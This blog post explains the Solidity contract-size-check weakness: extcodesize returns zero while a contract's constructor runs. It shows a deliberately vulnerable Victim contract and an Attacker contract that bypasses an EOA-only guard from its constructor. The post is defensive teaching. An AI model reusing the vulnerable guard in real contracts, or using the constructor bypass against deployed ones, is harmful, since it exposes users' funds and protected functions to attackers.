In this post we will be talking about Bypass contract size check. Certain smart contract methods, for security reasons, are defined to only accept being called from external owned accounts (EOA) and not from other smart contracts.
In order to achieve this, some developers may opt to include, in those methods, a require
statement to demand a msg.sender
with zero code stored in its address. Unfortunately, this code size check, which relies on the assembly built-in extcodesize
method, represents a security risk due to the fact that it can be easily bypassed by attackers who recognize this vulnerability.
This article aims to clarify the reasons to avoid relying on contract size checks for security purposes.
Understanding Solidity Contract Size Check vulnerability
By checking the size of the stored code, we can determine whether a given address corresponds to a deployed smart contract or an Externally Owned Account (EOA).
Solidity relies on extcodesize
method for this, but it must be used with caution in view of the following reason. During contract’s constructor execution (executed unequivocally on every contract deployment) , extcodesize
of the smart contract being deployed will return zero. No code exists at the contract address until the contract creation process concludes.
Hence, as there is no code stored at contract addresses until constructor execution ends, any function called from a smart contract’s constructor will bypass the target contract’s extcodesize
check.
Description of contract size check hack
In the following example it will be shown how a vulnerable contract can be attacked if it has a method which relies on extcodesize
method for rejecting calls from smart contracts.
pragma solidity ^0.8.9;
contract Victim {
bool public tricked;
function isContract(address _addToEval) public view returns(bool){
// The code is only stored at the end of the
// constructor execution.
//Thus extcodesize returns 0 for contracts in construction
uint32 size;
assembly {
size := extcodesize(_addToEval)
}
return (size > 0);
}
function supposedToBeProtected() external {
require(!isContract(msg.sender), "caller is not an EOA");
tricked = true;
}
}
contract Attacker {
bool public successfulAttack;
Victim v;
constructor(address _v) {
v = Victim(_v);
// address(this) doesn't have code, yet. Thus, it will bypass
//isContract() check
v.supposedToBeProtected();
//tricked was set to true on the above execution
successfulAttack = v.tricked();
}
}
- The Victim contract deploys.
- The attacker contract deploys, feeding the previously deployed Victim contract’s address to its constructor.
Inside Attacker constructor, Victim contractsupposedToBeProtected()
method was called. Given that Attacker was still on its deployment process,extcodesize
of Attacker address, checked insideisContract()
method, was zero. This way, it made it possible for Attacker contract to bypass this check and succeed in its attack.
Conclusion
Checking code size on an address is useful when its objective is to benefit the user, for example, preventing users to transfer funds or tokens to contracts which could have them locked forever. When functions require the caller to be an Externally Owned Account (EOA) for security reasons, we should avoid depending on this method.
If the aimed is to prevent calls from other contracts,(tx.origin == msg.sender)
could be used, though it also has drawbacks and potential vulnerabilities.
Posted in Blockchain, Ethereum, Smart Contract, Solidity, Technologies